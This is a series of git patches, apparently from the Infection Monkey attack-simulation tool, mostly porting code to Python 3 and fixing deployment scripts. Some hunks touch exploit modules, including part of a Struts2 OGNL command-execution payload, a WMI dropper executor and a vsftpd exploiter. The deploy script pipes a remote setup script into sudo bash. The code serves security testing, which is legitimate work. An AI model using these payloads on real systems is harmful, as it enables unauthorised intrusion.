+++ b/monkey/infection_monkey/exploit/struts2.py
@@ -79,9 +79,6 @@ class Struts2Exploiter(WebRCE):
"(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))." \
"(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." \
"(#ros.flush())}" % cmd
- # Turns payload ascii just for consistency
- if isinstance(payload, str):
- payload = unicodedata.normalize('NFKD', payload).encode('ascii', 'ignore')
headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload}
try:
request = urllib.request.Request(url, headers=headers)
@@ -91,6 +88,6 @@ class Struts2Exploiter(WebRCE):
# If url does not exist
return False
except http.client.IncompleteRead as e:
- page = e.partial
+ page = e.partial.decode()
return page
diff --git a/monkey/infection_monkey/monkey.spec b/monkey/infection_monkey/monkey.spec
index d29adddb1..0ada7f403 100644
--- a/monkey/infection_monkey/monkey.spec
+++ b/monkey/infection_monkey/monkey.spec
@@ -38,6 +38,7 @@ def main():
debug=False,
strip=get_exe_strip(),
upx=True,
+ upx_exclude=['vcruntime140.dll'],
console=True,
icon=get_exe_icon())
diff --git a/monkey/infection_monkey/network/tools.py b/monkey/infection_monkey/network/tools.py
index 075babb60..0cac7b627 100644
--- a/monkey/infection_monkey/network/tools.py
+++ b/monkey/infection_monkey/network/tools.py
@@ -71,7 +71,7 @@ def check_tcp_port(ip, port, timeout=DEFAULT_TIMEOUT, get_banner=False):
if get_banner:
read_ready, _, _ = select.select([sock], [], [], timeout)
if len(read_ready) > 0:
- banner = sock.recv(BANNER_READ)
+ banner = sock.recv(BANNER_READ).decode()
except socket.error:
pass
diff --git a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py
index 94241e30a..2a1a79b91 100644
--- a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py
+++ b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py
@@ -38,7 +38,7 @@ class CommunicateAsNewUser(PBA):
exit_status = new_user.run_as(ping_commandline)
self.send_ping_result_telemetry(exit_status, ping_commandline, username)
except subprocess.CalledProcessError as e:
- PostBreachTelem(self, (e.output, False)).send()
+ PostBreachTelem(self, (e.output.decode(), False)).send()
except NewUserError as e:
PostBreachTelem(self, (str(e), False)).send()
diff --git a/monkey/infection_monkey/post_breach/pba.py b/monkey/infection_monkey/post_breach/pba.py
index 8d7723df2..73b8a3221 100644
--- a/monkey/infection_monkey/post_breach/pba.py
+++ b/monkey/infection_monkey/post_breach/pba.py
@@ -14,6 +14,7 @@ __author__ = 'VakarisZ'
EXECUTION_WITHOUT_OUTPUT = "(PBA execution produced no output)"
+
class PBA(object):
"""
Post breach action object. Can be extended to support more than command execution on target machine.
@@ -75,13 +76,13 @@ class PBA(object):
:return: Tuple of command's output string and boolean, indicating if it succeeded
"""
try:
- output = subprocess.check_output(self.command, stderr=subprocess.STDOUT, shell=True)
+ output = subprocess.check_output(self.command, stderr=subprocess.STDOUT, shell=True).decode()
if not output:
output = EXECUTION_WITHOUT_OUTPUT
return output, True
except subprocess.CalledProcessError as e:
# Return error output of the command
- return e.output, False
+ return e.output.decode(), False
@staticmethod
def choose_command(linux_cmd, windows_cmd):
diff --git a/monkey/monkey_island/cc/resources/remote_run.py b/monkey/monkey_island/cc/resources/remote_run.py
index 675c292c1..c41699add 100644
--- a/monkey/monkey_island/cc/resources/remote_run.py
+++ b/monkey/monkey_island/cc/resources/remote_run.py
@@ -34,10 +34,10 @@ class RemoteRun(flask_restful.Resource):
try:
resp['instances'] = AwsService.get_instances()
except NoCredentialsError as e:
- resp['error'] = NO_CREDS_ERROR_FORMAT.format(e.message)
+ resp['error'] = NO_CREDS_ERROR_FORMAT.format(e)
return jsonify(resp)
except ClientError as e:
- resp['error'] = CLIENT_ERROR_FORMAT.format(e.message)
+ resp['error'] = CLIENT_ERROR_FORMAT.format(e)
return jsonify(resp)
return jsonify(resp)
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py
index b5f100bd1..b9a2fd795 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py
@@ -12,28 +12,32 @@ logger = logging.getLogger(__name__)
class AttackTechnique(object, metaclass=abc.ABCMeta):
""" Abstract class for ATT&CK report components """
- @abc.abstractproperty
+ @property
+ @abc.abstractmethod
def unscanned_msg(self):
"""
:return: Message that will be displayed in case attack technique was not scanned.
"""
pass
- @abc.abstractproperty
+ @property
+ @abc.abstractmethod
def scanned_msg(self):
"""
:return: Message that will be displayed in case attack technique was scanned.
"""
pass
- @abc.abstractproperty
+ @property
+ @abc.abstractmethod
def used_msg(self):
"""
:return: Message that will be displayed in case attack technique was used by the scanner.
"""
pass
- @abc.abstractproperty
+ @property
+ @abc.abstractmethod
def tech_id(self):
"""
:return: Message that will be displayed in case of attack technique not being scanned.
From 8046cddb8b7e53e1d15694709d6a1c0aec9b2a1a Mon Sep 17 00:00:00 2001
From: VakarisZ
Date: Wed, 23 Oct 2019 09:19:03 +0300
Subject: [PATCH 038/108] Fixed ring bug with @staticmethod
---
monkey/monkey_island/cc/models/monkey.py | 65 ++++++++++---------
monkey/monkey_island/cc/models/test_monkey.py | 26 ++++----
monkey/monkey_island/cc/services/edge.py | 8 +--
monkey/monkey_island/cc/services/node.py | 8 +--
4 files changed, 54 insertions(+), 53 deletions(-)
diff --git a/monkey/monkey_island/cc/models/monkey.py b/monkey/monkey_island/cc/models/monkey.py
index 324903809..daeb9ea5b 100644
--- a/monkey/monkey_island/cc/models/monkey.py
+++ b/monkey/monkey_island/cc/models/monkey.py
@@ -97,25 +97,6 @@ class Monkey(Document):
os = "windows"
return os
- @ring.lru()
- @staticmethod
- def get_label_by_id(object_id):
- current_monkey = Monkey.get_single_monkey_by_id(object_id)
- label = Monkey.get_hostname_by_id(object_id) + " : " + current_monkey.ip_addresses[0]
- if len(set(current_monkey.ip_addresses).intersection(local_ip_addresses())) > 0:
- label = "MonkeyIsland - " + label
- return label
-
- @ring.lru()
- @staticmethod
- def get_hostname_by_id(object_id):
- """
- :param object_id: the object ID of a Monkey in the database.
- :return: The hostname of that machine.
- :note: Use this and not monkey.hostname for performance - this is lru-cached.
- """
- return Monkey.get_single_monkey_by_id(object_id).hostname
-
def set_hostname(self, hostname):
"""
Sets a new hostname for a machine and clears the cache for getting it.
@@ -123,8 +104,8 @@ class Monkey(Document):
"""
self.hostname = hostname
self.save()
- Monkey.get_hostname_by_id.delete(self.id)
- Monkey.get_label_by_id.delete(self.id)
+ get_monkey_hostname_by_id.delete(self.id)
+ get_monkey_label_by_id.delete(self.id)
def get_network_info(self):
"""
@@ -133,17 +114,6 @@ class Monkey(Document):
"""
return {'ips': self.ip_addresses, 'hostname': self.hostname}
- @ring.lru(
- expire=1 # data has TTL of 1 second. This is useful for rapid calls for report generation.
- )
- @staticmethod
- def is_monkey(object_id):
- try:
- _ = Monkey.get_single_monkey_by_id(object_id)
- return True
- except:
- return False
-
@staticmethod
def get_tunneled_monkeys():
return Monkey.objects(tunnel__exists=True)
@@ -153,5 +123,36 @@ class Monkey(Document):
self.save()
+# Can't make following methods static under Monkey class due to ring bug
+@ring.lru(
+ expire=1 # data has TTL of 1 second. This is useful for rapid calls for report generation.
+)
+def is_monkey(object_id):
+ try:
+ _ = Monkey.get_single_monkey_by_id(object_id)
+ return True
+ except:
+ return False
+
+
+@ring.lru()
+def get_monkey_label_by_id(object_id):
+ current_monkey = Monkey.get_single_monkey_by_id(object_id)
+ label = get_monkey_hostname_by_id(object_id) + " : " + current_monkey.ip_addresses[0]
+ if len(set(current_monkey.ip_addresses).intersection(local_ip_addresses())) > 0:
+ label = "MonkeyIsland - " + label
+ return label
+
+
+@ring.lru()
+def get_monkey_hostname_by_id(object_id):
+ """
+ :param object_id: the object ID of a Monkey in the database.
+ :return: The hostname of that machine.
+ :note: Use this and not monkey.hostname for performance - this is lru-cached.
+ """
+ return Monkey.get_single_monkey_by_id(object_id).hostname
+
+
class MonkeyNotFoundError(Exception):
pass
diff --git a/monkey/monkey_island/cc/models/test_monkey.py b/monkey/monkey_island/cc/models/test_monkey.py
index 1bb805e76..fb9b329b1 100644
--- a/monkey/monkey_island/cc/models/test_monkey.py
+++ b/monkey/monkey_island/cc/models/test_monkey.py
@@ -2,7 +2,7 @@ import uuid
from time import sleep
from .monkey import Monkey
-from monkey_island.cc.models.monkey import MonkeyNotFoundError
+from monkey_island.cc.models.monkey import MonkeyNotFoundError, is_monkey, get_monkey_label_by_id
from monkey_island.cc.testing.IslandTestCase import IslandTestCase
from .monkey_ttl import MonkeyTtl
@@ -125,26 +125,26 @@ class TestMonkey(IslandTestCase):
ip_addresses=[ip_example])
linux_monkey.save()
- cache_info_before_query = Monkey.get_label_by_id.storage.backend.cache_info()
+ cache_info_before_query = get_monkey_label_by_id.storage.backend.cache_info()
self.assertEqual(cache_info_before_query.hits, 0)
# not cached
- label = Monkey.get_label_by_id(linux_monkey.id)
+ label = get_monkey_label_by_id(linux_monkey.id)
self.assertIsNotNone(label)
self.assertIn(hostname_example, label)
self.assertIn(ip_example, label)
# should be cached
- _ = Monkey.get_label_by_id(linux_monkey.id)
- cache_info_after_query = Monkey.get_label_by_id.storage.backend.cache_info()
+ _ = get_monkey_label_by_id(linux_monkey.id)
+ cache_info_after_query = get_monkey_label_by_id.storage.backend.cache_info()
self.assertEqual(cache_info_after_query.hits, 1)
linux_monkey.set_hostname("Another hostname")
# should be a miss
- label = Monkey.get_label_by_id(linux_monkey.id)
- cache_info_after_second_query = Monkey.get_label_by_id.storage.backend.cache_info()
+ label = get_monkey_label_by_id(linux_monkey.id)
+ cache_info_after_second_query = get_monkey_label_by_id.storage.backend.cache_info()
# still 1 hit only
self.assertEqual(cache_info_after_second_query.hits, 1)
self.assertEqual(cache_info_after_second_query.misses, 2)
@@ -156,18 +156,18 @@ class TestMonkey(IslandTestCase):
a_monkey = Monkey(guid=str(uuid.uuid4()))
a_monkey.save()
- cache_info_before_query = Monkey.is_monkey.storage.backend.cache_info()
+ cache_info_before_query = is_monkey.storage.backend.cache_info()
self.assertEqual(cache_info_before_query.hits, 0)
# not cached
- self.assertTrue(Monkey.is_monkey(a_monkey.id))
+ self.assertTrue(is_monkey(a_monkey.id))
fake_id = "123456789012"
- self.assertFalse(Monkey.is_monkey(fake_id))
+ self.assertFalse(is_monkey(fake_id))
# should be cached
- self.assertTrue(Monkey.is_monkey(a_monkey.id))
- self.assertFalse(Monkey.is_monkey(fake_id))
+ self.assertTrue(is_monkey(a_monkey.id))
+ self.assertFalse(is_monkey(fake_id))
- cache_info_after_query = Monkey.is_monkey.storage.backend.cache_info()
+ cache_info_after_query = is_monkey.storage.backend.cache_info()
self.assertEqual(cache_info_after_query.hits, 2)
diff --git a/monkey/monkey_island/cc/services/edge.py b/monkey/monkey_island/cc/services/edge.py
index ae3d2a2de..bf9417309 100644
--- a/monkey/monkey_island/cc/services/edge.py
+++ b/monkey/monkey_island/cc/services/edge.py
@@ -2,7 +2,7 @@ from bson import ObjectId
from monkey_island.cc.database import mongo
import monkey_island.cc.services.node
-from monkey_island.cc.models import Monkey
+from monkey_island.cc.models.monkey import get_monkey_label_by_id, is_monkey
__author__ = "itay.mizeretz"
@@ -145,13 +145,13 @@ class EdgeService:
from_id = edge["from"]
to_id = edge["to"]
- from_label = Monkey.get_label_by_id(from_id)
+ from_label = get_monkey_label_by_id(from_id)
if to_id == ObjectId("000000000000000000000000"):
to_label = 'MonkeyIsland'
else:
- if Monkey.is_monkey(to_id):
- to_label = Monkey.get_label_by_id(to_id)
+ if is_monkey(to_id):
+ to_label = get_monkey_label_by_id(to_id)
else:
to_label = NodeService.get_node_label(NodeService.get_node_by_id(to_id))
diff --git a/monkey/monkey_island/cc/services/node.py b/monkey/monkey_island/cc/services/node.py
index 27d2d299a..0c0a873e8 100644
--- a/monkey/monkey_island/cc/services/node.py
+++ b/monkey/monkey_island/cc/services/node.py
@@ -4,7 +4,7 @@ from bson import ObjectId
import monkey_island.cc.services.log
from monkey_island.cc.database import mongo
-from monkey_island.cc.models import Monkey
+from monkey_island.cc.models.monkey import Monkey, get_monkey_hostname_by_id, get_monkey_label_by_id
from monkey_island.cc.services.edge import EdgeService
from monkey_island.cc.utils import local_ip_addresses
import socket
@@ -50,8 +50,8 @@ class NodeService:
for edge in edges:
from_node_id = edge["from"]
- from_node_label = Monkey.get_label_by_id(from_node_id)
- from_node_hostname = Monkey.get_hostname_by_id(from_node_id)
+ from_node_label = get_monkey_label_by_id(from_node_id)
+ from_node_hostname = get_monkey_hostname_by_id(from_node_id)
accessible_from_nodes.append(from_node_label)
accessible_from_nodes_hostnames.append(from_node_hostname)
@@ -140,7 +140,7 @@ class NodeService:
@staticmethod
def monkey_to_net_node(monkey, for_report=False):
monkey_id = monkey["_id"]
- label = Monkey.get_hostname_by_id(monkey_id) if for_report else Monkey.get_label_by_id(monkey_id)
+ label = get_monkey_hostname_by_id(monkey_id) if for_report else get_monkey_label_by_id(monkey_id)
monkey_group = NodeService.get_monkey_group(monkey)
return \
{
From e52491aef5ca32cc66c131fa37a589540953b65e Mon Sep 17 00:00:00 2001
From: VakarisZ
Date: Wed, 23 Oct 2019 10:17:47 +0300
Subject: [PATCH 039/108] Small linux deployment script improvement
---
deployment_scripts/deploy_linux.sh | 11 +++++------
1 file changed, 5 insertions(+), 6 deletions(-)
diff --git a/deployment_scripts/deploy_linux.sh b/deployment_scripts/deploy_linux.sh
index f3cc4001c..70ca2e5e3 100644
--- a/deployment_scripts/deploy_linux.sh
+++ b/deployment_scripts/deploy_linux.sh
@@ -90,6 +90,11 @@ log_message "Installing island requirements"
requirements="$ISLAND_PATH/requirements.txt"
${python_cmd} -m pip install --user --upgrade -r ${requirements} || handle_error
+log_message "Installing monkey requirements"
+sudo apt-get install libffi-dev upx libssl-dev libc++1
+cd ${monkey_home}/monkey/infection_monkey || handle_error
+${python_cmd} -m pip install -r requirements_linux.txt --user --upgrade || handle_error
+
# Download binaries
log_message "Downloading binaries"
wget -c -N -P ${ISLAND_BINARIES_PATH} ${LINUX_32_BINARY_URL}
@@ -137,12 +142,6 @@ log_message "Generating front end"
cd "$ISLAND_PATH/cc/ui" || handle_error
npm run dist
-# Monkey setup
-log_message "Installing monkey requirements"
-sudo apt-get install python-dev libffi-dev upx libssl-dev libc++1
-cd ${monkey_home}/monkey/infection_monkey || handle_error
-${python_cmd} -m pip install -r requirements_linux.txt --user --upgrade || handle_error
-
# Making dir for binaries
mkdir ${MONKEY_BIN_DIR}
From fbe9708da654a6190438af7a83bb351cc870129d Mon Sep 17 00:00:00 2001
From: VakarisZ
Date: Wed, 23 Oct 2019 14:46:59 +0300
Subject: [PATCH 040/108] Removed ppa, unused certificate generation, updated
readme
---
deployment_scripts/README.md | 2 +-
deployment_scripts/deploy_linux.sh | 14 +++-----------
monkey/monkey_island/linux/run.sh | 4 ++--
monkey/monkey_island/readme.txt | 10 +++++-----
4 files changed, 11 insertions(+), 19 deletions(-)
diff --git a/deployment_scripts/README.md b/deployment_scripts/README.md
index 10027edce..0faf95a52 100644
--- a/deployment_scripts/README.md
+++ b/deployment_scripts/README.md
@@ -16,7 +16,7 @@ Don't forget to add python to PATH or do so while installing it via this script.
You must have root permissions, but don't run the script as root.
Launch deploy_linux.sh from scripts directory.
First argument should be an empty directory (script can create one, default is ./infection_monkey) and second is the branch you want to clone (develop by default).
-Choose a directory where you have all the relevant permissions, for e.g. /home/your_username
+Choose a directory where you have all the relevant permissions and give it's absolute path, for e.g. /home/your_username
Example usages:
./deploy_linux.sh (deploys under ./infection_monkey)
./deploy_linux.sh "/home/test/monkey" (deploys under /home/test/monkey)
diff --git a/deployment_scripts/deploy_linux.sh b/deployment_scripts/deploy_linux.sh
index 70ca2e5e3..5e191d5fe 100644
--- a/deployment_scripts/deploy_linux.sh
+++ b/deployment_scripts/deploy_linux.sh
@@ -69,9 +69,8 @@ fi
if [[ ${python_cmd} == "" ]]; then
log_message "Python 3.7 command not found. Installing python 3.7."
- sudo add-apt-repository ppa:deadsnakes/ppa
- sudo apt update
- sudo apt install python3.7
+ sudo apt-get update
+ sudo apt-get install python3.7
log_message "Python 3.7 is now available with command 'python3.7'."
python_cmd="python3.7"
fi
@@ -119,13 +118,6 @@ sudo apt-get install openssl
# Generate SSL certificate
log_message "Generating certificate"
-cd ${ISLAND_PATH} || handle_error
-openssl genrsa -out cc/server.key 1024 || handle_error
-openssl req -new -key cc/server.key -out cc/server.csr \
--subj "/C=GB/ST=London/L=London/O=Global Security/OU=Monkey Department/CN=monkey.com" || handle_error
-openssl x509 -req -days 366 -in cc/server.csr -signkey cc/server.key -out cc/server.crt || handle_error
-
-
sudo chmod +x ${ISLAND_PATH}/linux/create_certificate.sh || handle_error
${ISLAND_PATH}/linux/create_certificate.sh || handle_error
@@ -151,7 +143,7 @@ wget -c -N -P ${MONKEY_BIN_DIR} ${SAMBACRY_64_BINARY_URL}
wget -c -N -P ${MONKEY_BIN_DIR} ${SAMBACRY_32_BINARY_URL}
# Download traceroute binaries
-log_message "Downloading tracerout binaries"
+log_message "Downloading traceroute binaries"
wget -c -N -P ${MONKEY_BIN_DIR} ${TRACEROUTE_64_BINARY_URL}
wget -c -N -P ${MONKEY_BIN_DIR} ${TRACEROUTE_32_BINARY_URL}
diff --git a/monkey/monkey_island/linux/run.sh b/monkey/monkey_island/linux/run.sh
index 26d8c3234..dc1a266de 100644
--- a/monkey/monkey_island/linux/run.sh
+++ b/monkey/monkey_island/linux/run.sh
@@ -12,5 +12,5 @@ if [[ `python3.7 --version 2>&1` == *"Python 3.7"* ]]; then
python_cmd="python3.7"
fi
-./bin/mongodb/bin/mongod --dbpath ./bin/mongodb/db
-${python_cmd} monkey_island.py
+./monkey_island/bin/mongodb/bin/mongod --dbpath ./monkey_island/bin/mongodb/db
+${python_cmd} ./monkey_island.py
diff --git a/monkey/monkey_island/readme.txt b/monkey/monkey_island/readme.txt
index 956892e23..16bcabf0e 100644
--- a/monkey/monkey_island/readme.txt
+++ b/monkey/monkey_island/readme.txt
@@ -22,7 +22,7 @@ How to set up the Monkey Island server:
OR
3.b. Use already running instance of mongodb
3.b.1. Run 'set MONKEY_MONGO_URL="mongodb://:27017/monkeyisland"'. Replace '' with address of mongo server
-
+
4. Place portable version of OpenSSL
4.1. Download from: https://indy.fulgan.com/SSL/Archive/openssl-1.0.2l-i386-win32.zip
4.2. Extract content from bin folder to monkey_island\bin\openssl
@@ -56,7 +56,7 @@ How to run:
2. Install the packages from monkey_island/requirements.txt:
sudo python -m pip install -r /var/monkey_island/requirements.txt
If pip is not installed, install the python-pip package. Make sure the server is running Python 2.7 and not Python 3+.
-
+
3. put monkey binaries in /var/monkey_island/cc/binaries
monkey-linux-64 - monkey binary for linux 64bit
monkey-linux-32 - monkey binary for linux 32bit
@@ -81,11 +81,11 @@ How to run:
8. Install npm
8.1. Download and install from: https://www.npmjs.com/get-npm
-
+
9. Build Monkey Island frontend
9.1. cd to 'monkey_island/cc/ui'
9.2. run 'npm update'
9.3. run 'npm run dist'
-
+
How to run:
-1. run run.sh (located under /linux)
+1. When your current working directory is monkey, run run.sh (located under /linux)
From 4457cdc0c83082ff14a39eeae9664ba58d9fe100 Mon Sep 17 00:00:00 2001
From: VakarisZ
Date: Wed, 23 Oct 2019 15:11:58 +0300
Subject: [PATCH 041/108] re-added deadsnakes ppa, because ubuntu 16 doesn't
support py3.7 reps
---
deployment_scripts/deploy_linux.sh | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/deployment_scripts/deploy_linux.sh b/deployment_scripts/deploy_linux.sh
index 5e191d5fe..d83d24620 100644
--- a/deployment_scripts/deploy_linux.sh
+++ b/deployment_scripts/deploy_linux.sh
@@ -69,8 +69,8 @@ fi
if [[ ${python_cmd} == "" ]]; then
log_message "Python 3.7 command not found. Installing python 3.7."
- sudo apt-get update
- sudo apt-get install python3.7
+ sudo add-apt-repository ppa:deadsnakes/ppa
+ sudo apt install python3.7
log_message "Python 3.7 is now available with command 'python3.7'."
python_cmd="python3.7"
fi
From a305611558d8a079075bd54fbf5f130380373113 Mon Sep 17 00:00:00 2001
From: VakarisZ
Date: Thu, 24 Oct 2019 10:02:50 +0300
Subject: [PATCH 042/108] re-added deadsnakes ppa, because ubuntu 16 doesn't
support py3.7 reps
---
deployment_scripts/deploy_linux.sh | 8 +++++---
monkey/monkey_island/linux/run.sh | 2 +-
2 files changed, 6 insertions(+), 4 deletions(-)
diff --git a/deployment_scripts/deploy_linux.sh b/deployment_scripts/deploy_linux.sh
index d83d24620..1c0f7221c 100644
--- a/deployment_scripts/deploy_linux.sh
+++ b/deployment_scripts/deploy_linux.sh
@@ -118,10 +118,13 @@ sudo apt-get install openssl
# Generate SSL certificate
log_message "Generating certificate"
-sudo chmod +x ${ISLAND_PATH}/linux/create_certificate.sh || handle_error
-${ISLAND_PATH}/linux/create_certificate.sh || handle_error
+cd ${ISLAND_PATH}
+openssl genrsa -out cc/server.key 2048
+openssl req -new -key cc/server.key -out cc/server.csr -subj "/C=GB/ST=London/L=London/O=Global Security/OU=Monkey Department/CN=monkey.com"
+openssl x509 -req -days 366 -in cc/server.csr -signkey cc/server.key -out cc/server.crt
# Update node
+cd "$ISLAND_PATH/cc/ui" || handle_error
log_message "Installing nodejs"
sudo apt-get install -y nodejs
@@ -131,7 +134,6 @@ sudo apt-get install npm
npm update
log_message "Generating front end"
-cd "$ISLAND_PATH/cc/ui" || handle_error
npm run dist
# Making dir for binaries
diff --git a/monkey/monkey_island/linux/run.sh b/monkey/monkey_island/linux/run.sh
index dc1a266de..54e1cdd65 100644
--- a/monkey/monkey_island/linux/run.sh
+++ b/monkey/monkey_island/linux/run.sh
@@ -12,5 +12,5 @@ if [[ `python3.7 --version 2>&1` == *"Python 3.7"* ]]; then
python_cmd="python3.7"
fi
-./monkey_island/bin/mongodb/bin/mongod --dbpath ./monkey_island/bin/mongodb/db
+./monkey_island/bin/mongodb/bin/mongod --dbpath ./monkey_island/bin/mongodb/db &
${python_cmd} ./monkey_island.py
From 222b9432e8b412b560cc617127eb1fc8c52f2e77 Mon Sep 17 00:00:00 2001
From: VakarisZ
Date: Thu, 24 Oct 2019 11:17:10 +0300
Subject: [PATCH 043/108] fixed front end dependencies
---
deployment_scripts/deploy_linux.sh | 8 +++-----
monkey/monkey_island/readme.txt | 2 +-
2 files changed, 4 insertions(+), 6 deletions(-)
diff --git a/deployment_scripts/deploy_linux.sh b/deployment_scripts/deploy_linux.sh
index 1c0f7221c..488911f15 100644
--- a/deployment_scripts/deploy_linux.sh
+++ b/deployment_scripts/deploy_linux.sh
@@ -124,13 +124,11 @@ openssl req -new -key cc/server.key -out cc/server.csr -subj "/C=GB/ST=London/L=
openssl x509 -req -days 366 -in cc/server.csr -signkey cc/server.key -out cc/server.crt
# Update node
-cd "$ISLAND_PATH/cc/ui" || handle_error
log_message "Installing nodejs"
+cd "$ISLAND_PATH/cc/ui" || handle_error
+curl -sL https://deb.nodesource.com/setup_12.x | sudo -E bash -
sudo apt-get install -y nodejs
-
-# Install npm
-log_message "Installing npm"
-sudo apt-get install npm
+npm install sass-loader node-sass webpack --save-dev
npm update
log_message "Generating front end"
diff --git a/monkey/monkey_island/readme.txt b/monkey/monkey_island/readme.txt
index 16bcabf0e..87b2f8c40 100644
--- a/monkey/monkey_island/readme.txt
+++ b/monkey/monkey_island/readme.txt
@@ -88,4 +88,4 @@ How to run:
9.3. run 'npm run dist'
How to run:
-1. When your current working directory is monkey, run run.sh (located under /linux)
+1. When your current working directory is monkey, run ./monkey_island/linux/run.sh (located under /linux)
From 1c32ef156a5283ecb733031e14991252bd978f49 Mon Sep 17 00:00:00 2001
From: VakarisZ
Date: Thu, 24 Oct 2019 12:54:00 +0300
Subject: [PATCH 044/108] Improved linux deployment instructions
---
deployment_scripts/README.md | 5 +++--
1 file changed, 3 insertions(+), 2 deletions(-)
diff --git a/deployment_scripts/README.md b/deployment_scripts/README.md
index 0faf95a52..f69a48b77 100644
--- a/deployment_scripts/README.md
+++ b/deployment_scripts/README.md
@@ -13,10 +13,11 @@ Don't forget to add python to PATH or do so while installing it via this script.
## Linux
+Linux deployment script is meant for Ubuntu 16.x machines.
You must have root permissions, but don't run the script as root.
Launch deploy_linux.sh from scripts directory.
-First argument should be an empty directory (script can create one, default is ./infection_monkey) and second is the branch you want to clone (develop by default).
-Choose a directory where you have all the relevant permissions and give it's absolute path, for e.g. /home/your_username
+First argument should be an absolute path of an empty directory (script will create one if doesn't exist, default is ./infection_monkey).
+Second parameter is the branch you want to clone (develop by default).
Example usages:
./deploy_linux.sh (deploys under ./infection_monkey)
./deploy_linux.sh "/home/test/monkey" (deploys under /home/test/monkey)
From 06bded65eb64b2074a3ac1a9a658500e643bf514 Mon Sep 17 00:00:00 2001
From: VakarisZ
Date: Thu, 24 Oct 2019 16:15:33 +0300
Subject: [PATCH 045/108] Wmi fix, expected return code 0, but it is None
---
monkey/infection_monkey/exploit/wmiexec.py | 6 +++---
1 file changed, 3 insertions(+), 3 deletions(-)
diff --git a/monkey/infection_monkey/exploit/wmiexec.py b/monkey/infection_monkey/exploit/wmiexec.py
index 947fd57a1..a1da97efe 100644
--- a/monkey/infection_monkey/exploit/wmiexec.py
+++ b/monkey/infection_monkey/exploit/wmiexec.py
@@ -104,9 +104,9 @@ class WmiExploiter(HostExploiter):
ntpath.split(remote_full_path)[0],
None)
- if (0 != result.ProcessId) and (0 == result.ReturnValue):
- LOG.info("Executed dropper '%s' on remote victim %r (pid=%d, exit_code=%d, cmdline=%r)",
- remote_full_path, self.host, result.ProcessId, result.ReturnValue, cmdline)
+ if (0 != result.ProcessId) and (not result.ReturnValue):
+ LOG.info("Executed dropper '%s' on remote victim %r (pid=%d, cmdline=%r)",
+ remote_full_path, self.host, result.ProcessId, cmdline)
self.add_vuln_port(port='unknown')
success = True
From 4b84810fae4a69daf35592424802ca6a69c5be18 Mon Sep 17 00:00:00 2001
From: Shay Nehmad
Date: Thu, 24 Oct 2019 18:54:20 +0300
Subject: [PATCH 046/108] Updated format errors in aws_exporter and lowered
errors to infos in vsftpd exploiter
---
monkey/infection_monkey/exploit/vsftpd.py | 6 +++---
monkey/monkey_island/cc/services/reporting/aws_exporter.py | 4 ++--
2 files changed, 5 insertions(+), 5 deletions(-)
diff --git a/monkey/infection_monkey/exploit/vsftpd.py b/monkey/infection_monkey/exploit/vsftpd.py
index 136a8a36b..d4116c96c 100644
--- a/monkey/infection_monkey/exploit/vsftpd.py
+++ b/monkey/infection_monkey/exploit/vsftpd.py
@@ -45,7 +45,7 @@ class VSFTPDExploiter(HostExploiter):
s.connect((ip_addr, port))
return True
except socket.error as e:
- LOG.error('Failed to connect to %s', self.host.ip_addr)
+ LOG.info('Failed to connect to %s: %s', self.host.ip_addr, str(e))
return False
def socket_send_recv(self, s, message):
@@ -53,7 +53,7 @@ class VSFTPDExploiter(HostExploiter):
s.send(message)
return s.recv(RECV_128).decode('utf-8')
except socket.error as e:
- LOG.error('Failed to send payload to %s', self.host.ip_addr)
+ LOG.info('Failed to send payload to %s: %s', self.host.ip_addr, str(e))
return False
def socket_send(self, s, message):
@@ -61,7 +61,7 @@ class VSFTPDExploiter(HostExploiter):
s.send(message)
return True
except socket.error as e:
- LOG.error('Failed to send payload to %s', self.host.ip_addr)
+ LOG.info('Failed to send payload to %s: %s', self.host.ip_addr, str(e))
return False
def _exploit_host(self):
diff --git a/monkey/monkey_island/cc/services/reporting/aws_exporter.py b/monkey/monkey_island/cc/services/reporting/aws_exporter.py
index 0940be503..8690f6ee1 100644
--- a/monkey/monkey_island/cc/services/reporting/aws_exporter.py
+++ b/monkey/monkey_island/cc/services/reporting/aws_exporter.py
@@ -107,10 +107,10 @@ class AWSExporter(Exporter):
else:
return False
except UnknownServiceError as e:
- logger.warning('AWS exporter called but AWS-CLI securityhub service is not installed. Error: ' + e)
+ logger.warning('AWS exporter called but AWS-CLI security hub service is not installed. Error: {}'.format(e))
return False
except Exception as e:
- logger.exception('AWS security hub findings failed to send. Error: ' + e)
+ logger.exception('AWS security hub findings failed to send. Error: {}'.format(e))
return False
@staticmethod
From 2a7d196cb750d5cc88703720b749bbc760ecf312 Mon Sep 17 00:00:00 2001
From: VakarisZ
Date: Fri, 25 Oct 2019 13:18:48 +0300
Subject: [PATCH 047/108] Smb fingerprinter fix
---
monkey/infection_monkey/network/smbfinger.py | 105 ++++++++++---------
1 file changed, 53 insertions(+), 52 deletions(-)
diff --git a/monkey/infection_monkey/network/smbfinger.py b/monkey/infection_monkey/network/smbfinger.py
index 1e765114c..8a267e9d1 100644
--- a/monkey/infection_monkey/network/smbfinger.py
+++ b/monkey/infection_monkey/network/smbfinger.py
@@ -12,7 +12,7 @@ SMB_SERVICE = 'tcp-445'
LOG = logging.getLogger(__name__)
-class Packet(object):
+class Packet:
fields = odict([
("data", ""),
])
@@ -25,78 +25,79 @@ class Packet(object):
else:
self.fields[k] = v
- def __str__(self):
- return "".join(map(str, list(self.fields.values())))
+ def to_byte_string(self):
+ content_list = [(x.to_byte_string() if hasattr(x, "to_byte_string") else x) for x in self.fields.values()]
+ return b"".join(content_list)
##### SMB Packets #####
class SMBHeader(Packet):
fields = odict([
- ("proto", "\xff\x53\x4d\x42"),
- ("cmd", "\x72"),
- ("errorcode", "\x00\x00\x00\x00"),
- ("flag1", "\x00"),
- ("flag2", "\x00\x00"),
- ("pidhigh", "\x00\x00"),
- ("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
- ("reserved", "\x00\x00"),
- ("tid", "\x00\x00"),
